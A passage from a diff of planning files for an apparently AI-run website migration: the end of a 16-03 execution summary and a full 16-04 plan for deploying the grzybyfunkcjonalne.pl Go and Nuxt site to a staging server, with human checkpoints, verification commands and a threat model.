**3. [Rule 3 - Blocking] A local `.env` overrode `backend.uri` in the boot test**
|
||||
- **Issue:** compass reads `../.env` next to `config/`. The developer's gitignored host `.env`, which I did not read, keeps the admin at `/backend`, so the new `/gfadmin` assertion failed locally even though a clean work dir mounts `/gfadmin`.
|
||||
- **Fix:** The boot test loads a temp copy of `config/`.
|
||||
- **Commit:** `893cf42`.
|
||||
|
||||
**4. [Rule 1 - Plan data] `/sitemap.xml` content type**
|
||||
- **Issue:** `@nuxtjs/sitemap` serves `text/xml; charset=UTF-8`, not `application/xml`.
|
||||
- **Fix:** `urls.txt` expects `type=text/xml`.
|
||||
- **Commit:** `07390b2`.
|
||||
|
||||
**5. [Rule 1 - Test design] One visitor address exhausted the Go rate limit**
|
||||
- **Issue:** With `X-Forwarded-For: 203.0.113.7` on every URL, 28 checks got 429. About 90 SSR pages make more than 120 API calls a minute for that one visitor. This also proved the XFF chain works: the bucket used was the visitor's, not Nuxt's.
|
||||
- **Fix:** Each URL uses its own `203.0.113.N`.
|
||||
- **Commit:** `07390b2`.
|
||||
|
||||
**6. [Rule 2 - Missing critical] Image types under nosniff**
|
||||
- **Issue:** Under a bare `http {}`, as in check-deploy, nginx served the images as `text/plain` with nosniff.
|
||||
- **Fix:** The image location declares its own `types` map and an octet-stream default, and matches case-insensitively (`~*`) for files like `.PNG`.
|
||||
- **Verification:** On loopback, the images answer `200 image/png`.
|
||||
- **Commit:** `07390b2`.
|
||||
|
||||
**7. [Rule 2 - Missing critical] Featured-image hardening beyond the plan**
|
||||
- **Fix:** `http.DetectContentType` must match the declared type, and the file size must match the map.
|
||||
- **Commit:** `893cf42`.
|
||||
|
||||
**8. [Scope adjustment] The UAT-host gap report**
|
||||
- **Issue:** The 2 known `gf.uat.golem15.com` references are only in the base text of one export file. The pl import replaces that text, so no imported body carries them.
|
||||
- **Fix:** The report lists the export file and the imported count (0) instead of claiming 2 broken bodies.
|
||||
- **Commit:** `81ffce3`.
|
||||
|
||||
**9. [Scope adjustment] The scaffold was trimmed**
|
||||
- **Issue:** `make:plugin` writes the full scaffold (config, lang, mail views, `registry.gen.go`, `routes.go`).
|
||||
- **Fix:** I removed it. The plugin is `plugin.go` plus `console/`, with no routes, so D-14 is unchanged. `registry.gen.go` is refreshed only by `make:*` artifact commands, not by `summer build`.
|
||||
- **Commit:** `893cf42`.
|
||||
|
||||
---
|
||||
|
||||
**Total deviations:** 9. Three were blocking fixes, two were missing-critical additions, two were plan-data or test-design corrections, and two were scope adjustments.
|
||||
|
||||
**Impact on plan:** Every planned artifact, command name, flag and key link exists. The only additions are `grzyby:import-posts` and the export normalization, both workarounds for upstream gaps that are now recorded in `deferred-items.md`.
|
||||
|
||||
## Issues Encountered
|
||||
|
||||
- **Precondition.** `SMOKE_ADMIN_DSN` was unset and Docker was unreachable for user `golem`.
|
||||
- I used the orchestrator's sanctioned fallback: a private PostgreSQL 18.6 cluster (`initdb`, ICU, trust auth) on 127.0.0.1:55494 in the scratchpad.
|
||||
- `SMOKE_ADMIN_DSN` pointed at that cluster for every rehearsal.
|
||||
- The cluster and a throwaway MariaDB were stopped and removed at the end.
|
||||
- No temporary override touched any repo file.
|
||||
- **pnpm.** pnpm ran with `TMPDIR` set to the scratchpad and the project-drive store (`npm_config_store_dir`), as in 16-01 and 16-02.
|
||||
- **`@nuxt/fonts`.** Its metadata fetches are blocked in the sandbox. The builds succeed with warnings only.
|
||||
- **Pre-existing state.** The host's untracked `.gsd/` was left alone.
|
||||
- **Concurrent edits.** Another session has uncommitted STATE/ROADMAP edits (Phase 18.1). This plan's metadata commit stages only its own changes and leaves theirs in the working tree.
|
||||
|
||||
## Known Stubs
|
||||
|
||||
None.
|
||||
|
||||
## Threat Flags
|
||||
|
||||
None beyond the plan's threat model. T-16-10 through T-16-17 and T-16-SC are implemented as planned:
|
||||
|
||||
- no new Go HTTP endpoint;
|
||||
- no new Go or npm module (the plugin uses gorm, gocloud.dev, the framework and sm-journal-plugin, all already in the graph);
|
||||
- templates carry empty secrets, which the negative grep confirms;
|
||||
- the smoke drops only its `grzyby_smoke_<hex>` database.
|
||||
|
||||
## User Setup Required
|
||||
|
||||
None for this plan. `SMOKE_ADMIN_DSN` is optional (Docker or the user's own Postgres). The server values are confirmed in 16-04.
|
||||
|
||||
## Next Phase Readiness
|
||||
|
||||
**16-04 (staging deploy).**
|
||||
|
||||
- On the server:
|
||||
1. Run the two SQL files after the checks in `scripts/php-export/README.md`.
|
||||
2. Copy the uploads, media and export.
|
||||
3. Follow the README runbook (migrate, `admin:create`, `migrate.sh`).
|
||||
4. Install the deploy files.
|
||||
5. Run `scripts/smoke.sh --url https://staging.grzybyfunkcjonalne.pl`.
|
||||
- Decide on `first-journal-post` (published in the export, absent live).
|
||||
- Swap `listen ... http2` for `http2 on;` if the server's nginx is 1.25.1 or newer.
|
||||
|
||||
**16-05 (unit tests).** These can target:
|
||||
|
||||
- `ReadFeaturedImageMap` and `ImportFeaturedImages` (mem:// bucket, idempotency, path escape, type allowlist and sniffing);
|
||||
- `ReadCategoryMap`, `CategoryTranslations.UnmarshalJSON` and `ImportCategories` (unchanged detection);
|
||||
- `validDiskName`, `flagOrDefault` and `flagOn`.
|
||||
|
||||
## Self-Check: PASSED
|
||||
|
||||
- FOUND: every `key-files.created` path in the host and the todo in summercms.go.
|
||||
- FOUND: host commits `90f2dbd 5ccbc62 893cf42 a3266c3 3f17f1c 30233d5 81ffce3 07390b2 8f7f2de` on `origin/master`, and summercms.go `6ff7d5d`.
|
||||
- Plan verification, re-run after the last commit:
|
||||
- `check-deploy: ok`;
|
||||
- `build: bin/grzybyfunkcjonalne and build/nuxt/.output ready`;
|
||||
- `smoke: ok (95 urls)`;
|
||||
- `go vet ./...` and `go test ./... -count=1` ok;
|
||||
- the env.example negative grep passes;
|
||||
- every one of the 71 live locs has its `200 PATH` line in `urls.txt`.
|
||||
|
||||
---
|
||||
*Phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views*
|
||||
*Completed: 2026-10-09*
|
||||
@@ -0,0 +1,226 @@
|
||||
---
|
||||
phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views
|
||||
plan: 04
|
||||
type: execute
|
||||
wave: 4
|
||||
depends_on: ["16-03"]
|
||||
files_modified:
|
||||
- ../sm-grzybyfunkcjonalne-app/DEPLOY.md
|
||||
- ../sm-grzybyfunkcjonalne-app/README.md
|
||||
- ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf
|
||||
- ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-go.conf
|
||||
- ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-nuxt.conf
|
||||
- ../sm-grzybyfunkcjonalne-app/deploy/env.example
|
||||
- ../sm-grzybyfunkcjonalne-app/deploy/nuxt.env.example
|
||||
- ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh
|
||||
- ../sm-grzybyfunkcjonalne-app/scripts/urls.txt
|
||||
autonomous: false
|
||||
requirements: [SC-1, SC-3]
|
||||
user_setup:
|
||||
- service: PHP site server (staging host)
|
||||
why: "D-10/D-18: staging runs on the same server as the live Winter site; the executor cannot create DNS records, certificates, database roles or its own SSH access"
|
||||
env_vars:
|
||||
- name: STAGING_SSH
|
||||
source: "An ssh host alias (in ~/.ssh/config) for the PHP server with a user that may write /srv/grzybyfunkcjonalne and run sudo nginx -t, systemctl reload nginx and supervisorctl"
|
||||
- name: STAGING_URL
|
||||
source: "The staging base URL, e.g. https://staging.grzybyfunkcjonalne.pl (DNS record and certificate created by the human)"
|
||||
dashboard_config:
|
||||
- task: "DNS A/AAAA record for the staging host pointing at the PHP server"
|
||||
location: "DNS provider of grzybyfunkcjonalne.pl"
|
||||
- task: "Run scripts/php-export/featured-images.sql and categories.sql on the PHP database and place the two JSONL outputs on the server"
|
||||
location: "PHP server, mysql client against the live Winter database (read-only queries)"
|
||||
estimate:
|
||||
tokens: 80000
|
||||
raw_tokens: 80000
|
||||
tasks: 3
|
||||
confidence: low
|
||||
must_haves:
|
||||
truths:
|
||||
- "D-18 / SC-1: grzybyfunkcjonalne content runs end to end on staging on the PHP site's server: the Go binary (supervisor program grzybyfunkcjonalne-go) and the Nuxt server (grzybyfunkcjonalne-nuxt) behind one staging nginx vhost, with the imported posts."
|
||||
- "D-15 / D-18: scripts/smoke.sh --url $STAGING_URL passes every line of scripts/urls.txt, which holds every URL of the live sitemap plus the static and negative cases."
|
||||
- "D-10: the live Winter vhost, php-fpm and the PHP database are not modified; only new files (one nginx vhost, two supervisor programs, /srv/grzybyfunkcjonalne) are added, and the Winter install stays the rollback."
|
||||
- "D-25: on the staging database pl was made the only default locale before journal:import-posts, and the import ran once into a fresh database."
|
||||
- "D-21/D-22/D-17: category pillar content, featured images (old /storage/app/uploads/public URLs) and storage/app/media files are present on staging, filled from the PHP database queries and storage copies."
|
||||
- "D-09: the admin answers at $STAGING_URL/gfadmin and /backend answers 404."
|
||||
- "D-23: staging renders no Google Analytics script (NUXT_PUBLIC_GA_ID empty)."
|
||||
- "Staging is not indexable (NUXT_SITE_INDEXABLE=false), so it never competes with the live site in search."
|
||||
- "The production nginx/DNS switch is not performed by this plan (deferred operational step)."
|
||||
artifacts:
|
||||
- path: "../sm-grzybyfunkcjonalne-app/DEPLOY.md"
|
||||
provides: "server facts, upload/release steps, migration runbook, smoke, rollback, and the deferred cutover notes"
|
||||
contains: "Rollback"
|
||||
- path: "../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf"
|
||||
provides: "the vhost as installed on the server"
|
||||
contains: "server_name"
|
||||
key_links:
|
||||
- from: "nginx staging vhost on the PHP server"
|
||||
to: "grzybyfunkcjonalne-go (127.0.0.1:8096) and grzybyfunkcjonalne-nuxt (127.0.0.1:3016)"
|
||||
via: "proxy_pass by path: /gfadmin and /_journal/ to Go, image files under /storage/app to disk, everything else to Nuxt"
|
||||
pattern: "proxy_pass"
|
||||
- from: "grzybyfunkcjonalne-nuxt"
|
||||
to: "grzybyfunkcjonalne-go"
|
||||
via: "NUXT_JOURNAL_API_BASE=http://127.0.0.1:8096/_journal/api/v1 in /srv/grzybyfunkcjonalne/nuxt/.env"
|
||||
pattern: "NUXT_JOURNAL_API_BASE"
|
||||
---
|
||||
|
||||
## Phase Goal
|
||||
|
||||
ROADMAP Goal (verbatim, not in user-story format): grzybyfunkcjonalne.pl runs on SummerCMS with a new blog views layer that other Golem15 blogs can reuse, instead of a one-off theme.
|
||||
|
||||
MVP_MODE note: no user story is invented; run `/msd-mvp-phase 16` to reframe the Goal line if wanted.
|
||||
|
||||
This plan's slice: one imported post loads over HTTPS from the staging host on the PHP server, served by Nuxt from the Go Journal API; then every old URL is checked on staging and the deploy is documented.
|
||||
|
||||
<objective>
|
||||
Deploy the site to staging on the PHP site's server (D-10, D-18): resolve the server prerequisites at a human checkpoint, install the two processes and the vhost, run the migration runbook against the real PHP data, and check every old URL on staging.
|
||||
|
||||
Purpose: SC-1 counts as met once the site is served by SummerCMS on staging (D-18); SC-3 is proven against the live URL list.
|
||||
Output: a running staging site, DEPLOY.md, deploy files matching what is installed, and a passing remote smoke.
|
||||
</objective>
|
||||
|
||||
<execution_context>
|
||||
@~/.claude/msd-core/workflows/execute-plan.md
|
||||
@~/.claude/msd-core/templates/summary.md
|
||||
</execution_context>
|
||||
|
||||
<context>
|
||||
@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md
|
||||
@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md
|
||||
@.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-03-SUMMARY.md
|
||||
@../sm-grzybyfunkcjonalne-app/README.md
|
||||
@../sm-grzybyfunkcjonalne-app/scripts/migrate.sh
|
||||
@../sm-grzybyfunkcjonalne-app/scripts/smoke.sh
|
||||
@../sm-grzybyfunkcjonalne-app/scripts/php-export/README.md
|
||||
@../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf
|
||||
@../sm-summercmsio-app/DEPLOY.md
|
||||
</context>
|
||||
|
||||
## Spec-less probe fallback
|
||||
|
||||
Visible skip: the phase has no REQUIREMENTS.md IDs to probe, so no probe predicates are generated this run. ROADMAP SC-1..SC-4 and CONTEXT D-01..D-25 are the source of truth for must_haves.
|
||||
|
||||
## Artifacts this phase produces
|
||||
|
||||
- Staging site at `$STAGING_URL` on the PHP server: directory `/srv/grzybyfunkcjonalne/{go,nuxt,import}` (exact paths recorded in DEPLOY.md), supervisor programs `grzybyfunkcjonalne-go` and `grzybyfunkcjonalne-nuxt`, nginx vhost `grzybyfunkcjonalne-staging.conf`, Postgres database `grzybyfunkcjonalne` (ICU pl-PL).
|
||||
- `DEPLOY.md` in the host repo (sections: Server facts, Prerequisites, Build and upload, First install, Migration runbook, Smoke, Release, Rollback, Production cutover (not done in this phase)).
|
||||
- Deploy files and `scripts/check-deploy.sh` updated to the confirmed server facts; `scripts/urls.txt` re-pulled from the live sitemap when it changed.
|
||||
|
||||
<tasks>
|
||||
|
||||
<task type="checkpoint:human-action" gate="blocking-human">
|
||||
<name>Task 1: Server prerequisites on the PHP site's server (staging host, TLS, Postgres, Node, access, PHP export maps)</name>
|
||||
<read_first>.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-RESEARCH.md (Pitfall 12, Open Questions 3 and 4, Environment Availability), ../sm-grzybyfunkcjonalne-app/README.md, ../sm-grzybyfunkcjonalne-app/scripts/php-export/README.md, ../sm-grzybyfunkcjonalne-app/config/database.yaml, ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf, ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-go.conf, ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-nuxt.conf, ../sm-summercmsio-app/DEPLOY.md</read_first>
|
||||
<action>Print a checklist built from the files above and stop for the human. The human: (1) picks the staging host name (default staging.grzybyfunkcjonalne.pl), creates its DNS record pointing at the PHP server and a certbot certificate for it; (2) makes sure PostgreSQL 15 or newer with ICU runs on the server and creates role grzybyfunkcjonalne and database grzybyfunkcjonalne with the ICU command in config/database.yaml (TEMPLATE template0 ENCODING 'UTF8' LOCALE_PROVIDER icu ICU_LOCALE 'pl-PL'), keeping the password for the DSN; (3) makes sure Node 22.18 or newer is installed and notes its path; (4) creates system user grzybyfunkcjonalne and /srv/grzybyfunkcjonalne writable by the deploy user, confirms ports 8096 and 3016 are free on 127.0.0.1 (or names free ones); (5) gives the executor SSH access as an ~/.ssh/config alias exported as STAGING_SSH, with sudo for nginx -t, nginx reload and supervisorctl, and exports STAGING_URL; (6) runs scripts/php-export/featured-images.sql and categories.sql against the live PHP database after checking the post model morph and translate table names as the README says, and places featured-images.jsonl and categories.jsonl in /srv/grzybyfunkcjonalne/import/; (7) states the absolute paths of the PHP storage/app/uploads/public and storage/app/media directories and that the deploy user can read them; (8) states the admin email and login to create. The executor then runs the verify command and records every confirmed fact (host alias, staging URL, Node path, ports, PHP storage paths, morph and translate tables used, Postgres version) in the SUMMARY "Server facts" section.</action>
|
||||
<instructions>
|
||||
Claude prepared the deploy files, the runbook and the PHP export queries in 16-03 and printed the checklist.
|
||||
The human does the steps that need DNS, certificates, database roles, server accounts or SSH keys (items 1-8 of the action), then exports STAGING_SSH and STAGING_URL in the session.
|
||||
</instructions>
|
||||
<verification>The verify command prints prerequisites-ok.</verification>
|
||||
<resume-signal>Type "server ready" with the staging URL and ssh alias once items 1-8 are done.</resume-signal>
|
||||
<verify>
|
||||
<automated>test -n "$STAGING_SSH" && test -n "$STAGING_URL" && NODE_V=$(ssh "$STAGING_SSH" 'node -p process.versions.node') && printf '22.18.0\n%s\n' "$NODE_V" | sort -V -C && ssh "$STAGING_SSH" 'psql --version && sudo nginx -t && sudo supervisorctl version && test -s /srv/grzybyfunkcjonalne/import/featured-images.jsonl && test -s /srv/grzybyfunkcjonalne/import/categories.jsonl' && { curl -sS -o /dev/null --max-time 10 "$STAGING_URL/"; test $? -ne 6; } && echo prerequisites-ok</automated>
|
||||
<fails_when>Non-zero exit or "prerequisites-ok" absent: STAGING_SSH or STAGING_URL unset, ssh fails, Node is older than 22.18, psql/nginx/supervisorctl missing, nginx -t fails, an import map is missing or empty, or curl exit 6 (staging host name does not resolve).</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- STAGING_SSH and STAGING_URL are set and ssh works with the needed sudo commands.
|
||||
- Node on the server is 22.18 or newer; psql reports PostgreSQL 15 or newer; nginx -t passes before any change.
|
||||
- /srv/grzybyfunkcjonalne/import/featured-images.jsonl and categories.jsonl exist and are non-empty.
|
||||
- The staging host name resolves.
|
||||
- The SUMMARY "Server facts" section lists host alias, staging URL, Node path, ports, PHP storage paths, morph and translate tables, Postgres version.
|
||||
</acceptance_criteria>
|
||||
<done>Every server fact the deploy needs is confirmed and recorded, and the PHP export maps are on the server.</done>
|
||||
</task>
|
||||
|
||||
<task type="tracer">
|
||||
<name>Task 2: Tracer — deploy both processes, run the migration runbook on the PHP data and serve one imported post over HTTPS on staging</name>
|
||||
<reversibility rating="costly">D-07/D-10: the two-process topology (supervisor programs, vhost, ports) is what the production cutover reuses; changing it means redoing the server layout.</reversibility>
|
||||
<precondition>STAGING_SSH and STAGING_URL are set and Task 1's verify printed prerequisites-ok in this session.</precondition>
|
||||
<files>../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf, ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-go.conf, ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-nuxt.conf, ../sm-grzybyfunkcjonalne-app/deploy/env.example, ../sm-grzybyfunkcjonalne-app/deploy/nuxt.env.example, ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh</files>
|
||||
<read_first>The Task 1 "Server facts" in this plan's SUMMARY, ../sm-grzybyfunkcjonalne-app/deploy/nginx/grzybyfunkcjonalne-staging.conf, ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-go.conf, ../sm-grzybyfunkcjonalne-app/deploy/supervisor/grzybyfunkcjonalne-nuxt.conf, ../sm-grzybyfunkcjonalne-app/deploy/env.example, ../sm-grzybyfunkcjonalne-app/deploy/nuxt.env.example, ../sm-grzybyfunkcjonalne-app/scripts/build.sh, ../sm-grzybyfunkcjonalne-app/scripts/migrate.sh, ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh, ../sm-summercmsio-app/DEPLOY.md (upload, release and cutover order)</read_first>
|
||||
<action>Align the deploy files with the confirmed server facts (server_name, certificate paths, /srv paths, user, Node path, ports) and re-run scripts/check-deploy.sh; commit the changes in the host (chore: match staging deploy files to the server). Run scripts/build.sh locally.
|
||||
|
||||
Upload with rsync over $STAGING_SSH: bin/grzybyfunkcjonalne, config/ and scripts/ to /srv/grzybyfunkcjonalne/go/; build/nuxt/.output/ to /srv/grzybyfunkcjonalne/nuxt/.output/; the journal export (/media/nvme/dev/golem15/grzybyfunkcjonalne.pl/journal-export) to /srv/grzybyfunkcjonalne/import/journal-export/. Never rsync a local .env.
|
||||
|
||||
On the server, write /srv/grzybyfunkcjonalne/go/.env from deploy/env.example: the DSN from Task 1, and SUMMER_APP__KEY from bin/grzybyfunkcjonalne key:generate, SUMMER_ADMIN__JWT__SECRET and SUMMER_GOLEM15__USER__JWT__SECRET from head -c 32 /dev/urandom | base64, all generated on the server and never printed or copied back; SUMMER_URL=$STAGING_URL; owner root, group grzybyfunkcjonalne, mode 0640. Write /srv/grzybyfunkcjonalne/nuxt/.env from deploy/nuxt.env.example with NUXT_SITE_URL=$STAGING_URL, NUXT_SITE_INDEXABLE=false and NUXT_PUBLIC_GA_ID empty (D-23).
|
||||
|
||||
Run in /srv/grzybyfunkcjonalne/go as the service user: bin/grzybyfunkcjonalne migrate; bin/grzybyfunkcjonalne admin:create --email <Task 1 email> --login <Task 1 login> --superuser with a random password piped on stdin from a 0600 file /srv/grzybyfunkcjonalne/admin-initial-password (never on the command line; the human changes it with admin:reset-password); then scripts/migrate.sh --bin bin/grzybyfunkcjonalne --workdir . --export ../import/journal-export --categories-map ../import/categories.jsonl --media <PHP storage/app/media> --featured-map ../import/featured-images.jsonl --uploads <PHP storage/app/uploads/public> --author-login <Task 1 login> --author-slug admin (D-25 order; it refuses a database that already holds posts, so a failed run means drop, re-create, migrate and run again, Pitfall 3). Keep its full output in the SUMMARY, including the gap report.
|
||||
|
||||
Install deploy/supervisor/*.conf into the server's supervisor conf.d and deploy/nginx/grzybyfunkcjonalne-staging.conf into the nginx sites directory as new files; do not edit the live Winter vhost or php-fpm (D-10). sudo nginx -t must pass before sudo systemctl reload nginx; then supervisorctl reread, update and start both programs.</action>
|
||||
<verify>
|
||||
<automated>bash ../sm-grzybyfunkcjonalne-app/scripts/check-deploy.sh && ssh "$STAGING_SSH" 'sudo supervisorctl status grzybyfunkcjonalne-go grzybyfunkcjonalne-nuxt' | grep -c RUNNING | grep -qx 2 && curl -fsS "$STAGING_URL/blog/blogbadania-nad-cordycepsem" | grep -q 'Najnowsze Badania nad Cordycepsem' && curl -fsS "$STAGING_URL/_journal/api/v1/posts/blogbadania-nad-cordycepsem" | grep -q '"featured_image_url"' && echo staging-tracer-ok</automated>
|
||||
<fails_when>Non-zero exit or "staging-tracer-ok" absent: check-deploy fails, fewer than two supervisor programs are RUNNING, the post page does not answer 200 with its title over HTTPS, or the API answer lacks featured_image_url.</fails_when>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- Both supervisor programs are RUNNING on the server and nginx -t passed before the reload.
|
||||
- $STAGING_URL/blog/blogbadania-nad-cordycepsem answers 200 over HTTPS with the post title, rendered by Nuxt from the Go Journal API.
|
||||
- migrate.sh printed "migrate: ok"; its gap report is recorded in the SUMMARY.
|
||||
- The live Winter vhost file and php-fpm configuration are unchanged (the SUMMARY lists only new files installed).
|
||||
- No secret value appears in the repo, the SUMMARY or the shell history (generated on the server).
|
||||
</acceptance_criteria>
|
||||
<done>Staging serves an imported Journal post over HTTPS from the Go binary and the Nuxt server running side by side with the live PHP site.</done>
|
||||
</task>
|
||||
|
||||
<task type="auto">
|
||||
<name>Task 3: Smoke every old URL on staging, verify images and media, write DEPLOY.md</name>
|
||||
<precondition>Task 2's verify printed staging-tracer-ok in this session.</precondition>
|
||||
<files>../sm-grzybyfunkcjonalne-app/scripts/urls.txt, ../sm-grzybyfunkcjonalne-app/DEPLOY.md, ../sm-grzybyfunkcjonalne-app/README.md</files>
|
||||
<read_first>../sm-grzybyfunkcjonalne-app/scripts/urls.txt, ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh, ../sm-summercmsio-app/DEPLOY.md, the Task 1 "Server facts" and Task 2 runbook output in this plan's SUMMARY, .planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-CONTEXT.md (D-10, D-18, deferred production cutover)</read_first>
|
||||
<action>Re-pull https://grzybyfunkcjonalne.pl/sitemap.xml; when its loc set differs from the 200 lines frozen in urls.txt by 16-03, update urls.txt and record the difference (RESEARCH: live facts drift). Run scripts/smoke.sh --url "$STAGING_URL" (every line, remote lines included). Additionally check, from the staging API, one featured_image_url and one /storage/app/media/ URL referenced by a post body: each answers 200 with an image content type and X-Content-Type-Options nosniff; /gfadmin answers a non-404 status; the homepage has no googletagmanager script; /robots.txt disallows everything (NUXT_SITE_INDEXABLE=false). Any failing line is fixed at its source (deploy file, data step or app code; app or layer fixes go through their repos, tags and gitlinks) and the smoke re-run until it passes — a URL from the live sitemap is never dropped from urls.txt to make it pass (D-15).
|
||||
|
||||
DEPLOY.md (host repo, summercms.io DEPLOY.md structure): Server facts (from Task 1, no secrets), Prerequisites, Build and upload, First install (.env files, migrate, admin:create with stdin password, migrate.sh with every flag and the D-25 order), Smoke (smoke.sh --url), Release (rebuild, rsync, supervisorctl restart of both programs; swr caches expire by themselves), Rollback (stop both programs and remove the staging vhost; the Winter site was never touched, D-10), Do not re-save imported posts in /gfadmin (Pitfall 2), Production cutover (not part of Phase 16: switch the apex vhost to these upstreams, set NUXT_SITE_URL to the apex, remove NUXT_SITE_INDEXABLE, set NUXT_PUBLIC_GA_ID=G-MLSV7WJ6W4 and SUMMER_URL to the apex; Winter stays as rollback). README.md points to DEPLOY.md. Commit (docs: staging deploy guide) and, if urls.txt changed, (test: re-pull live sitemap URLs).</action>
|
||||
<verify>
|
||||
<automated>bash ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh --url "$STAGING_URL"</automated>
|
||||
<fails_when>Non-zero exit; output contains "smoke: FAIL"; the line starting "smoke: ok (" is absent.</fails_when>
|
||||
<automated>HOME_HTML=$(curl -fsS "$STAGING_URL/") && ! printf '%s' "$HOME_HTML" | grep -q googletagmanager && curl -fsS "$STAGING_URL/robots.txt" | grep -qx 'Disallow: /' && grep -q '^## Rollback' ../sm-grzybyfunkcjonalne-app/DEPLOY.md && echo staging-checks-ok</automated>
|
||||
<fails_when>Non-zero exit or "staging-checks-ok" absent: the staging homepage loads analytics, robots.txt does not disallow everything, or DEPLOY.md has no Rollback section.</fails_when>
|
||||
<human-check>Open $STAGING_URL/, /blog, /blog?page=2, a post, /cordyceps (pillar content above the list), /amanita-muscaria, /kontakt and /autor/admin and compare with the live site: the refreshed design (D-01, D-03) reads cleanly, the Polish copy is complete (D-11, D-12), featured images and inline media show. Log in at $STAGING_URL/gfadmin with the initial password from /srv/grzybyfunkcjonalne/admin-initial-password, change it with admin:reset-password, then delete that file. Reply "staging approved" or list issues.</human-check>
|
||||
</verify>
|
||||
<acceptance_criteria>
|
||||
- smoke.sh --url $STAGING_URL passes every urls.txt line, including every live sitemap URL, the negative cases and the remote storage lines.
|
||||
- One featured image URL and one media URL answer 200 with an image content type and X-Content-Type-Options nosniff on staging.
|
||||
- Staging renders no analytics and its robots.txt disallows everything.
|
||||
- DEPLOY.md has the sections Server facts, Prerequisites, Build and upload, First install, Smoke, Release, Rollback and Production cutover, and contains no secret value.
|
||||
- The human-check reply is recorded in the SUMMARY.
|
||||
</acceptance_criteria>
|
||||
<done>Every old URL answers correctly on staging, images and media load, and the deploy and rollback are documented.</done>
|
||||
</task>
|
||||
|
||||
</tasks>
|
||||
|
||||
<threat_model>
|
||||
## Trust Boundaries
|
||||
|
||||
| Boundary | Description |
|
||||
|----------|-------------|
|
||||
| Executor → PHP production server | The deploy runs next to the live Winter site |
|
||||
| Server .env files → processes | Secrets live only on the server |
|
||||
| Public internet → staging host | Staging is reachable before cutover |
|
||||
| PHP database → JSONL maps | Read-only queries against the live database |
|
||||
|
||||
## STRIDE Threat Register
|
||||
|
||||
| Threat ID | Category | Component | Severity | Disposition | Mitigation Plan |
|
||||
|-----------|----------|-----------|----------|-------------|-----------------|
|
||||
| T-16-18 | Tampering | live Winter vhost, php-fpm, PHP database | high | mitigate | Only new files are installed (staging vhost, two supervisor programs, /srv/grzybyfunkcjonalne); nginx -t must pass before reload; PHP queries are SELECT-only; the SUMMARY lists every file touched on the server (D-10) |
|
||||
| T-16-19 | Information Disclosure | /srv/grzybyfunkcjonalne/go/.env, nuxt/.env | high | mitigate | Secrets are generated on the server, written root:grzybyfunkcjonalne 0640, never printed, never rsynced, never committed; DEPLOY.md names keys only |
|
||||
| T-16-20 | Elevation of Privilege | initial admin account | high | mitigate | Password piped on stdin from a 0600 file, never a command-line flag; the human-check changes it with admin:reset-password and deletes the file; /gfadmin keeps cabana auth with Secure cookies in production |
|
||||
| T-16-21 | Information Disclosure | staging duplicate content and analytics | medium | mitigate | NUXT_SITE_INDEXABLE=false (robots.txt disallows all, checked); NUXT_PUBLIC_GA_ID empty on staging (checked) |
|
||||
| T-16-22 | Information Disclosure | featured-images.jsonl, categories.jsonl | low | accept | They hold public post slugs, file names and category copy only; they stay under /srv/grzybyfunkcjonalne/import and are not committed |
|
||||
| T-16-SC | Tampering | packages on the server | high | mitigate | No package is installed by this plan; the Nuxt .output and the Go binary are built locally from locked dependencies (16-01..16-03) and uploaded; Node and PostgreSQL come from the server's existing package sources at the human checkpoint |
|
||||
</threat_model>
|
||||
|
||||
<verification>
|
||||
- Task 1 prints prerequisites-ok; Task 2 prints staging-tracer-ok.
|
||||
- `bash ../sm-grzybyfunkcjonalne-app/scripts/smoke.sh --url "$STAGING_URL"` prints "smoke: ok (N urls)".
|
||||
- The human-check reply "staging approved" is recorded.
|
||||
</verification>
|
||||
|
||||
<success_criteria>
|
||||
- SC-1 is met on staging: Go + Nuxt + imported posts serve the site on the PHP server (D-18).
|
||||
- Every live URL and the negative cases pass on staging (D-15).
|
||||
- The Winter site is untouched and remains the rollback (D-10); production cutover is documented, not performed.
|
||||
</success_criteria>
|
||||
|
||||
<output>
|
||||
Create `.planning/phases/16-grzybyfunkcjonalne-pl-on-reusable-blog-views/16-04-SUMMARY.md` when done, with the Server facts, the runbook output and gap report, the smoke result and the human-check reply.
|
||||
</output>
|
||||
@@ -0,0 +1,319 @@
|
||||
---
|
||||
phase: 16-grzybyfunkcjonalne-pl-on-reusable-blog-views
|
||||
plan: 04
|
||||
subsystem: infra (staging deploy on the PHP site's server)
|
||||
tags: [summercms, go, nuxt-ssr, nginx, supervisor, postgres, migration, staging, basic-auth]
|
||||
status: complete
|
||||
|
||||
requires:
|
||||
- phase: 16-03
|
||||
provides: "host repo with migrate.sh, smoke.sh --url, urls.txt, deploy files, PHP export queries"
|
||||
provides:
|
||||
